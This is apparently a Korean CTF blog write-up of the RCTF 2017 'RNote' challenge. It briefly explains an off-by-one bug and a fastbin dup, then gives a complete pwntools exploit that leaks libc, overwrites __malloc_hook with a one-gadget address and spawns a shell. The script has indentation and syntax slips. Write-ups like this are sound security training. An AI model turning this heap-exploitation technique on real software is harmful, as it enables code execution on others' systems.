Pwnable/CTF

RCTF 2017 RNOTE

HSr00t 2017. 11. 8. 10:43

여기서 중요한 점은 add를 할때 전역 변수에 입력을 해주는데 이때 16byte 뒤에 포인터가 있는데 16byte가 아닌 off by one으로 인하여 1byte를 변조 할 수 있다.

free되었는지 확인도 안 하기 때문에 fastbin dup 취약점이 있다.
끝 ㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 
from pwn import *
 
p=process("./RNote")
elf=ELF("./RNote")
 
def add(size,title,content):
    p.recvuntil(': ')
    p.sendline("1")
    p.recvuntil(': ')
    p.sendline(str(size))
    p.recv(1024)
    p.sendline(title)
    p.recv(1024)
    p.send(content)
 
def add_full(size,title):
    p.recvuntil(': ')
        p.sendline("1")
        p.recvuntil(': ')
        p.sendline(str(size))
        p.recv(1024)
        p.sendline(title)
def fulladd(size,title):
    p.recvuntil(': ')
        p.sendline("1")
        p.recvuntil(': ')
        p.sendline(str(size))
        p.recv(1024)
        p.sendline(title)
 
 
def delete(idx):
    p.recvuntil(': ')
    p.sendline("2")
    p.recvuntil(': ')
    p.sendline(str(idx))
 
def show(idx):
    p.recvuntil(': ')
    p.sendline("3")
    p.recvuntil(': ')
    p.sendline(str(idx))
 
add(256,"AAAA","BBBB")
add(256,"CCCC","DDDD")
 
delete(0)
 
add(256,"CCCC","D"*7)
show(0)
print p.recvuntil('content: ')
p.recvuntil('D'*7+"\x00")
main_arena = u64(p.recv(6)+"\x00\x00"- 88
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - 0x3c4b10
one_shot = libc_base + 0xf1117
 
print hex(main_arena)
print hex(malloc_hook)
 
delete(0)
delete(1)
 
add(90,"ZZZZZZZ","eeee")
add(90,"zzzzzzz","eeee")
add_full(90,"e"*16+"\x10"+"eeee")
 
delete(0)
delete(1)
delete(2)
 
add(90,"AAAA",p64(malloc_hook-0x23))
add(90,"AAAA","BBBB")
add(90,"CCCC","DDDD")
 
 
add(90,"PPP","B"*19+p64(one_shot))
 
p.interactive()
 
cs


RCTF 문제는 정말 재미있는 것 같다.